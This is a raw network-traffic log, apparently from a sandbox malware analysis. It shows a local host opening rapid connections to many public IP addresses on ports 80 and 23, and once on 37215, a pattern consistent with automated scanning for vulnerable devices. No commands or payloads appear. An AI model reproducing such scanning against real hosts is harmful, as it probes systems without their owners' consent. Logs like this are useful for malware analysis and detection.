Dec 3, 2024 23:16:44.507042885 CET	40596	80	192.168.2.23	143.138.13.8
Dec 3, 2024 23:16:44.507044077 CET	80	40596	130.155.47.138	192.168.2.23
Dec 3, 2024 23:16:44.507052898 CET	80	40596	219.170.234.215	192.168.2.23
Dec 3, 2024 23:16:44.507061005 CET	80	40596	189.203.214.3	192.168.2.23
Dec 3, 2024 23:16:44.507071018 CET	40596	80	192.168.2.23	202.203.78.114
Dec 3, 2024 23:16:44.507075071 CET	40596	80	192.168.2.23	130.155.47.138
Dec 3, 2024 23:16:44.507087946 CET	40596	80	192.168.2.23	219.170.234.215
Dec 3, 2024 23:16:44.507087946 CET	40596	80	192.168.2.23	189.203.214.3
Dec 3, 2024 23:16:44.507479906 CET	80	40596	23.135.8.215	192.168.2.23
Dec 3, 2024 23:16:44.507519007 CET	80	40596	110.113.201.74	192.168.2.23
Dec 3, 2024 23:16:44.507519007 CET	40596	80	192.168.2.23	23.135.8.215
Dec 3, 2024 23:16:44.507534981 CET	80	40596	199.15.225.119	192.168.2.23
Dec 3, 2024 23:16:44.507548094 CET	40596	80	192.168.2.23	110.113.201.74
Dec 3, 2024 23:16:44.507563114 CET	80	40596	102.234.97.48	192.168.2.23
Dec 3, 2024 23:16:44.507567883 CET	40596	80	192.168.2.23	199.15.225.119
Dec 3, 2024 23:16:44.507586956 CET	80	40596	173.23.145.10	192.168.2.23
Dec 3, 2024 23:16:44.507597923 CET	40596	80	192.168.2.23	102.234.97.48
Dec 3, 2024 23:16:44.507611036 CET	80	40596	64.16.94.165	192.168.2.23
Dec 3, 2024 23:16:44.507625103 CET	40596	80	192.168.2.23	173.23.145.10
Dec 3, 2024 23:16:44.507636070 CET	80	40596	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.507651091 CET	40596	80	192.168.2.23	64.16.94.165
Dec 3, 2024 23:16:44.507667065 CET	80	40596	81.164.150.116	192.168.2.23
Dec 3, 2024 23:16:44.507668972 CET	40596	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.507690907 CET	80	40596	222.71.135.85	192.168.2.23
Dec 3, 2024 23:16:44.507708073 CET	40596	80	192.168.2.23	81.164.150.116
Dec 3, 2024 23:16:44.507719040 CET	80	40596	136.179.12.56	192.168.2.23
Dec 3, 2024 23:16:44.507735014 CET	40596	80	192.168.2.23	222.71.135.85
Dec 3, 2024 23:16:44.507759094 CET	40596	80	192.168.2.23	136.179.12.56
Dec 3, 2024 23:16:44.507769108 CET	80	40596	25.18.252.35	192.168.2.23
Dec 3, 2024 23:16:44.507778883 CET	80	40596	87.129.157.10	192.168.2.23
Dec 3, 2024 23:16:44.507807970 CET	40596	80	192.168.2.23	87.129.157.10
Dec 3, 2024 23:16:44.507807970 CET	40596	80	192.168.2.23	25.18.252.35
Dec 3, 2024 23:16:44.507843018 CET	80	40596	95.138.108.54	192.168.2.23
Dec 3, 2024 23:16:44.507852077 CET	80	40596	39.118.28.227	192.168.2.23
Dec 3, 2024 23:16:44.507877111 CET	40596	80	192.168.2.23	95.138.108.54
Dec 3, 2024 23:16:44.507880926 CET	40596	80	192.168.2.23	39.118.28.227
Dec 3, 2024 23:16:44.507882118 CET	80	40596	48.150.20.158	192.168.2.23
Dec 3, 2024 23:16:44.507890940 CET	80	40596	206.168.125.242	192.168.2.23
Dec 3, 2024 23:16:44.507899046 CET	80	40596	79.12.171.213	192.168.2.23
Dec 3, 2024 23:16:44.507908106 CET	80	40596	85.27.222.194	192.168.2.23
Dec 3, 2024 23:16:44.507917881 CET	40596	80	192.168.2.23	48.150.20.158
Dec 3, 2024 23:16:44.507919073 CET	40596	80	192.168.2.23	206.168.125.242
Dec 3, 2024 23:16:44.507931948 CET	40596	80	192.168.2.23	79.12.171.213
Dec 3, 2024 23:16:44.507935047 CET	40596	80	192.168.2.23	85.27.222.194
Dec 3, 2024 23:16:44.507963896 CET	80	40596	133.247.230.242	192.168.2.23
Dec 3, 2024 23:16:44.507972956 CET	80	40596	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.507989883 CET	80	40596	46.181.81.201	192.168.2.23
Dec 3, 2024 23:16:44.507998943 CET	80	40596	48.197.167.130	192.168.2.23
Dec 3, 2024 23:16:44.508001089 CET	40596	80	192.168.2.23	133.247.230.242
Dec 3, 2024 23:16:44.508003950 CET	40596	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.508028984 CET	40596	80	192.168.2.23	46.181.81.201
Dec 3, 2024 23:16:44.508033037 CET	40596	80	192.168.2.23	48.197.167.130
Dec 3, 2024 23:16:44.508065939 CET	80	40596	137.80.81.34	192.168.2.23
Dec 3, 2024 23:16:44.508075953 CET	80	40596	53.122.214.18	192.168.2.23
Dec 3, 2024 23:16:44.508105993 CET	40596	80	192.168.2.23	137.80.81.34
Dec 3, 2024 23:16:44.508111000 CET	40596	80	192.168.2.23	53.122.214.18
Dec 3, 2024 23:16:44.508126020 CET	80	40596	193.67.47.190	192.168.2.23
Dec 3, 2024 23:16:44.508136034 CET	80	40596	167.180.32.9	192.168.2.23
Dec 3, 2024 23:16:44.508152008 CET	80	40596	185.206.161.158	192.168.2.23
Dec 3, 2024 23:16:44.508161068 CET	80	40596	139.129.32.84	192.168.2.23
Dec 3, 2024 23:16:44.508166075 CET	40596	80	192.168.2.23	193.67.47.190
Dec 3, 2024 23:16:44.508172989 CET	40596	80	192.168.2.23	167.180.32.9
Dec 3, 2024 23:16:44.508183002 CET	40596	80	192.168.2.23	185.206.161.158
Dec 3, 2024 23:16:44.508203983 CET	40596	80	192.168.2.23	139.129.32.84
Dec 3, 2024 23:16:44.508352041 CET	80	40596	170.152.121.169	192.168.2.23
Dec 3, 2024 23:16:44.508361101 CET	80	40596	32.107.59.208	192.168.2.23
Dec 3, 2024 23:16:44.508388996 CET	80	40596	179.19.37.239	192.168.2.23
Dec 3, 2024 23:16:44.508389950 CET	40596	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:44.508393049 CET	40596	80	192.168.2.23	32.107.59.208
Dec 3, 2024 23:16:44.508410931 CET	23	40602	98.207.253.240	192.168.2.23
Dec 3, 2024 23:16:44.508419991 CET	23	40602	136.94.254.113	192.168.2.23
Dec 3, 2024 23:16:44.508430004 CET	80	40596	170.20.164.114	192.168.2.23
Dec 3, 2024 23:16:44.508434057 CET	40596	80	192.168.2.23	179.19.37.239
Dec 3, 2024 23:16:44.508443117 CET	40602	23	192.168.2.23	98.207.253.240
Dec 3, 2024 23:16:44.508450031 CET	80	40596	18.113.209.141	192.168.2.23
Dec 3, 2024 23:16:44.508454084 CET	40602	23	192.168.2.23	136.94.254.113
Dec 3, 2024 23:16:44.508460045 CET	23	40602	75.33.74.207	192.168.2.23
Dec 3, 2024 23:16:44.508469105 CET	80	40596	191.78.224.101	192.168.2.23
Dec 3, 2024 23:16:44.508471966 CET	40596	80	192.168.2.23	170.20.164.114
Dec 3, 2024 23:16:44.508482933 CET	40596	80	192.168.2.23	18.113.209.141
Dec 3, 2024 23:16:44.508482933 CET	40602	23	192.168.2.23	75.33.74.207
Dec 3, 2024 23:16:44.508493900 CET	80	50594	219.135.74.124	192.168.2.23
Dec 3, 2024 23:16:44.508505106 CET	40596	80	192.168.2.23	191.78.224.101
Dec 3, 2024 23:16:44.508534908 CET	50594	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:44.508991003 CET	41910	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.509609938 CET	35888	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.510204077 CET	49344	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.510812044 CET	56488	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.511400938 CET	55950	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.511998892 CET	44620	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.512563944 CET	49182	80	192.168.2.23	205.8.224.113
Dec 3, 2024 23:16:44.513160944 CET	53746	80	192.168.2.23	97.51.40.235
Dec 3, 2024 23:16:44.513761997 CET	34004	80	192.168.2.23	18.139.163.251
Dec 3, 2024 23:16:44.514341116 CET	51250	80	192.168.2.23	44.211.149.217
Dec 3, 2024 23:16:44.514942884 CET	44864	80	192.168.2.23	80.188.51.51
Dec 3, 2024 23:16:44.514974117 CET	37215	40597	156.105.127.109	192.168.2.23
Dec 3, 2024 23:16:44.515011072 CET	40597	37215	192.168.2.23	156.105.127.109
Dec 3, 2024 23:16:44.515557051 CET	59234	80	192.168.2.23	71.91.163.191
Dec 3, 2024 23:16:44.516181946 CET	45386	80	192.168.2.23	32.45.19.229
Dec 3, 2024 23:16:44.516786098 CET	33158	80	192.168.2.23	208.200.14.37
Dec 3, 2024 23:16:44.517366886 CET	60954	80	192.168.2.23	222.233.128.11
Dec 3, 2024 23:16:44.517961025 CET	42690	80	192.168.2.23	106.94.26.104
Dec 3, 2024 23:16:44.518542051 CET	52704	80	192.168.2.23	95.50.159.174
Dec 3, 2024 23:16:44.519136906 CET	41426	80	192.168.2.23	143.205.153.136
Dec 3, 2024 23:16:44.519728899 CET	44718	80	192.168.2.23	54.144.70.177
Dec 3, 2024 23:16:44.520339012 CET	46998	80	192.168.2.23	105.149.56.62
Dec 3, 2024 23:16:44.520935059 CET	57814	80	192.168.2.23	193.224.144.231
Dec 3, 2024 23:16:44.521526098 CET	35726	80	192.168.2.23	34.22.74.80
Dec 3, 2024 23:16:44.522106886 CET	48178	80	192.168.2.23	59.13.45.51
Dec 3, 2024 23:16:44.522686005 CET	41508	80	192.168.2.23	108.46.44.167
Dec 3, 2024 23:16:44.523284912 CET	54654	80	192.168.2.23	178.75.233.22
Dec 3, 2024 23:16:44.523881912 CET	49530	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.524491072 CET	33980	80	192.168.2.23	38.1.171.9
Dec 3, 2024 23:16:44.525083065 CET	44074	80	192.168.2.23	129.38.201.236
Dec 3, 2024 23:16:44.525685072 CET	33120	80	192.168.2.23	161.242.14.38
Dec 3, 2024 23:16:44.527379036 CET	80	39842	89.7.20.131	192.168.2.23
Dec 3, 2024 23:16:44.527421951 CET	39842	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:44.535376072 CET	80	34534	51.51.22.8	192.168.2.23
Dec 3, 2024 23:16:44.535417080 CET	34534	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:44.540195942 CET	37062	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.540918112 CET	60176	80	192.168.2.23	193.122.47.40
Dec 3, 2024 23:16:44.541965961 CET	49472	80	192.168.2.23	152.63.102.106
Dec 3, 2024 23:16:44.542608023 CET	55784	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:44.543256044 CET	41256	80	192.168.2.23	44.228.173.109
Dec 3, 2024 23:16:44.544867992 CET	45274	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.545500994 CET	59074	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:44.546124935 CET	41558	80	192.168.2.23	85.163.131.12
Dec 3, 2024 23:16:44.546757936 CET	33266	80	192.168.2.23	126.35.94.75
Dec 3, 2024 23:16:44.547435045 CET	51166	80	192.168.2.23	204.218.0.140
Dec 3, 2024 23:16:44.548075914 CET	49694	80	192.168.2.23	34.90.54.132
Dec 3, 2024 23:16:44.548701048 CET	51320	80	192.168.2.23	60.15.139.86
Dec 3, 2024 23:16:44.549328089 CET	58428	80	192.168.2.23	101.68.185.16
Dec 3, 2024 23:16:44.549942970 CET	45706	80	192.168.2.23	58.228.81.46
Dec 3, 2024 23:16:44.550592899 CET	52960	80	192.168.2.23	50.245.104.160
Dec 3, 2024 23:16:44.551240921 CET	46414	80	192.168.2.23	112.188.51.121
Dec 3, 2024 23:16:44.551877022 CET	50114	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.552517891 CET	38888	80	192.168.2.23	70.138.159.44
Dec 3, 2024 23:16:44.553162098 CET	46000	80	192.168.2.23	64.82.106.98
Dec 3, 2024 23:16:44.553833961 CET	39816	80	192.168.2.23	121.164.6.176
Dec 3, 2024 23:16:44.554444075 CET	59162	80	192.168.2.23	103.244.79.177
Dec 3, 2024 23:16:44.555052996 CET	33900	80	192.168.2.23	207.135.6.37
Dec 3, 2024 23:16:44.555675983 CET	41490	80	192.168.2.23	73.196.74.209
Dec 3, 2024 23:16:44.556279898 CET	38652	80	192.168.2.23	45.39.109.222
Dec 3, 2024 23:16:44.556879997 CET	52496	80	192.168.2.23	143.138.13.8
Dec 3, 2024 23:16:44.557480097 CET	40228	80	192.168.2.23	202.203.78.114
Dec 3, 2024 23:16:44.558084965 CET	43710	80	192.168.2.23	130.155.47.138
Dec 3, 2024 23:16:44.558684111 CET	48582	80	192.168.2.23	219.170.234.215
Dec 3, 2024 23:16:44.559282064 CET	33612	80	192.168.2.23	189.203.214.3
Dec 3, 2024 23:16:44.559895039 CET	80	55162	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:44.559901953 CET	53680	80	192.168.2.23	23.135.8.215
Dec 3, 2024 23:16:44.559936047 CET	55162	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.560374975 CET	80	47602	101.46.179.16	192.168.2.23
Dec 3, 2024 23:16:44.560414076 CET	47602	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:44.560545921 CET	58894	80	192.168.2.23	110.113.201.74
Dec 3, 2024 23:16:44.561157942 CET	56088	80	192.168.2.23	199.15.225.119
Dec 3, 2024 23:16:44.561784983 CET	54846	80	192.168.2.23	102.234.97.48
Dec 3, 2024 23:16:44.562397003 CET	57044	80	192.168.2.23	173.23.145.10
Dec 3, 2024 23:16:44.563026905 CET	41152	80	192.168.2.23	64.16.94.165
Dec 3, 2024 23:16:44.563657045 CET	34932	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.564280033 CET	37124	80	192.168.2.23	81.164.150.116
Dec 3, 2024 23:16:44.564905882 CET	34756	80	192.168.2.23	222.71.135.85
Dec 3, 2024 23:16:44.565536976 CET	39400	80	192.168.2.23	136.179.12.56
Dec 3, 2024 23:16:44.566165924 CET	47606	80	192.168.2.23	25.18.252.35
Dec 3, 2024 23:16:44.566793919 CET	47404	80	192.168.2.23	87.129.157.10
Dec 3, 2024 23:16:44.567425966 CET	41884	80	192.168.2.23	95.138.108.54
Dec 3, 2024 23:16:44.567517996 CET	80	38240	205.42.223.76	192.168.2.23
Dec 3, 2024 23:16:44.567554951 CET	38240	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:44.568067074 CET	58478	80	192.168.2.23	39.118.28.227
Dec 3, 2024 23:16:44.568691969 CET	43210	80	192.168.2.23	48.150.20.158
Dec 3, 2024 23:16:44.569336891 CET	36124	80	192.168.2.23	206.168.125.242
Dec 3, 2024 23:16:44.569961071 CET	59626	80	192.168.2.23	79.12.171.213
Dec 3, 2024 23:16:44.570599079 CET	45758	80	192.168.2.23	85.27.222.194
Dec 3, 2024 23:16:44.571214914 CET	55908	80	192.168.2.23	133.247.230.242
Dec 3, 2024 23:16:44.571860075 CET	53526	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.572485924 CET	54690	80	192.168.2.23	46.181.81.201
Dec 3, 2024 23:16:44.573127031 CET	35272	80	192.168.2.23	48.197.167.130
Dec 3, 2024 23:16:44.573767900 CET	40970	80	192.168.2.23	137.80.81.34
Dec 3, 2024 23:16:44.574428082 CET	41280	80	192.168.2.23	53.122.214.18
Dec 3, 2024 23:16:44.575102091 CET	43770	80	192.168.2.23	193.67.47.190
Dec 3, 2024 23:16:44.575680017 CET	80	54802	131.246.4.63	192.168.2.23
Dec 3, 2024 23:16:44.575720072 CET	54802	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:44.575753927 CET	55910	80	192.168.2.23	167.180.32.9
Dec 3, 2024 23:16:44.576365948 CET	51204	80	192.168.2.23	185.206.161.158
Dec 3, 2024 23:16:44.577003002 CET	49304	80	192.168.2.23	139.129.32.84
Dec 3, 2024 23:16:44.577636957 CET	53122	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:44.578274965 CET	42350	80	192.168.2.23	32.107.59.208
Dec 3, 2024 23:16:44.578916073 CET	40372	80	192.168.2.23	179.19.37.239
Dec 3, 2024 23:16:44.579550982 CET	49906	80	192.168.2.23	170.20.164.114
Dec 3, 2024 23:16:44.580229998 CET	60614	80	192.168.2.23	18.113.209.141
Dec 3, 2024 23:16:44.580861092 CET	54902	80	192.168.2.23	191.78.224.101
Dec 3, 2024 23:16:44.581548929 CET	50594	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:44.581600904 CET	50594	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:44.581965923 CET	50972	80	192.168.2.23	219.135.74.124
Dec 3, 2024 23:16:44.582384109 CET	39842	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:44.582384109 CET	39842	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:44.582664967 CET	40158	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:44.583009958 CET	34534	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:44.583020926 CET	34534	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:44.583301067 CET	34828	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:44.583667040 CET	55162	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.583678961 CET	55162	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.583955050 CET	55422	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.584322929 CET	47602	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:44.584322929 CET	47602	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:44.584600925 CET	47862	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:44.584978104 CET	38240	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:44.584978104 CET	38240	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:44.585248947 CET	38474	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:44.585601091 CET	54802	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:44.585601091 CET	54802	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:44.585875034 CET	55006	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:44.609198093 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:16:44.609260082 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:16:44.633660078 CET	80	41910	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.633711100 CET	41910	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.633804083 CET	41910	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.633814096 CET	41910	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.634144068 CET	42108	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.634305954 CET	80	35888	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.634346962 CET	35888	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.634608030 CET	35888	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.634619951 CET	35888	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.634869099 CET	80	49344	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.634905100 CET	49344	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.634919882 CET	36086	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.635340929 CET	80	56488	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.635376930 CET	49344	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.635380983 CET	56488	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.635394096 CET	49344	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.635683060 CET	49542	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.636007071 CET	80	55950	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.636049986 CET	55950	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.636138916 CET	56488	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.636138916 CET	56488	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.636432886 CET	56686	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.636744022 CET	80	44620	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:44.636784077 CET	44620	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.636826992 CET	55950	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.636826992 CET	55950	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.637118101 CET	56148	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.637566090 CET	44620	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.637566090 CET	44620	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.637854099 CET	44818	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.647607088 CET	80	49530	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.647667885 CET	49530	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.647742987 CET	49530	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.647753954 CET	49530	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.648057938 CET	49690	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.663872004 CET	80	37062	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.663913012 CET	37062	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.663994074 CET	37062	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.664004087 CET	37062	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.664292097 CET	37216	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.668528080 CET	80	45274	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.668570995 CET	45274	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.668661118 CET	45274	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.668672085 CET	45274	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.668968916 CET	45420	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.675539970 CET	80	50114	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.675586939 CET	50114	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.675668001 CET	50114	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.675678968 CET	50114	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.675977945 CET	50240	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.687299013 CET	80	34932	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.687342882 CET	34932	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.687428951 CET	34932	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.687441111 CET	34932	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.687720060 CET	35022	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.695558071 CET	80	53526	153.112.177.229	192.168.2.23
Dec 3, 2024 23:16:44.695600033 CET	53526	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.695692062 CET	53526	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.695693016 CET	53526	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.695997000 CET	53592	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.705223083 CET	80	50594	219.135.74.124	192.168.2.23
Dec 3, 2024 23:16:44.706106901 CET	80	39842	89.7.20.131	192.168.2.23
Dec 3, 2024 23:16:44.706656933 CET	80	34534	51.51.22.8	192.168.2.23
Dec 3, 2024 23:16:44.707390070 CET	80	55162	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:44.707588911 CET	80	55422	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:44.707633018 CET	55422	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.707685947 CET	55422	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.707969904 CET	80	47602	101.46.179.16	192.168.2.23
Dec 3, 2024 23:16:44.708631039 CET	80	38240	205.42.223.76	192.168.2.23
Dec 3, 2024 23:16:44.709234953 CET	80	54802	131.246.4.63	192.168.2.23
Dec 3, 2024 23:16:44.732969046 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:16:44.747914076 CET	80	55162	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:44.747925043 CET	80	34534	51.51.22.8	192.168.2.23
Dec 3, 2024 23:16:44.747932911 CET	80	39842	89.7.20.131	192.168.2.23
Dec 3, 2024 23:16:44.748203993 CET	80	50594	219.135.74.124	192.168.2.23
Dec 3, 2024 23:16:44.755834103 CET	80	54802	131.246.4.63	192.168.2.23
Dec 3, 2024 23:16:44.755860090 CET	80	38240	205.42.223.76	192.168.2.23
Dec 3, 2024 23:16:44.755909920 CET	80	47602	101.46.179.16	192.168.2.23
Dec 3, 2024 23:16:44.757425070 CET	80	41910	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.757817984 CET	80	42108	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.757869959 CET	42108	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.757905960 CET	42108	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.760983944 CET	80	35888	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.763185978 CET	80	36086	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.763194084 CET	80	49344	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.763201952 CET	80	49542	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.763219118 CET	36086	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.763231039 CET	49542	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.763261080 CET	36086	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.763268948 CET	49542	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.763309002 CET	80	56488	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.763324976 CET	80	56686	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.763334036 CET	80	55950	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.763370037 CET	56686	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.763403893 CET	56686	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.763468981 CET	80	56148	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.763511896 CET	56148	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.763544083 CET	56148	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.763807058 CET	80	44620	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:44.774050951 CET	80	49530	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.774342060 CET	80	49690	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.774380922 CET	49690	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.774411917 CET	49690	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.787671089 CET	80	37062	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.787956953 CET	80	37216	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.787997961 CET	37216	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.788024902 CET	37216	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.792398930 CET	80	45274	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.792633057 CET	80	45420	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.792678118 CET	45420	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.792712927 CET	45420	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.799341917 CET	80	50114	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.799649954 CET	80	50240	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.799695969 CET	50240	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.799731016 CET	50240	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.803905964 CET	80	49344	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.803915024 CET	80	35888	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.803921938 CET	80	41910	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.803930044 CET	80	44620	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:44.803939104 CET	80	55950	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.803949118 CET	80	56488	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.811252117 CET	80	34932	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.811386108 CET	80	35022	104.171.23.145	192.168.2.23
Dec 3, 2024 23:16:44.811427116 CET	35022	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.811460018 CET	35022	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.811816931 CET	80	49530	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.819305897 CET	80	53526	153.112.177.229	192.168.2.23
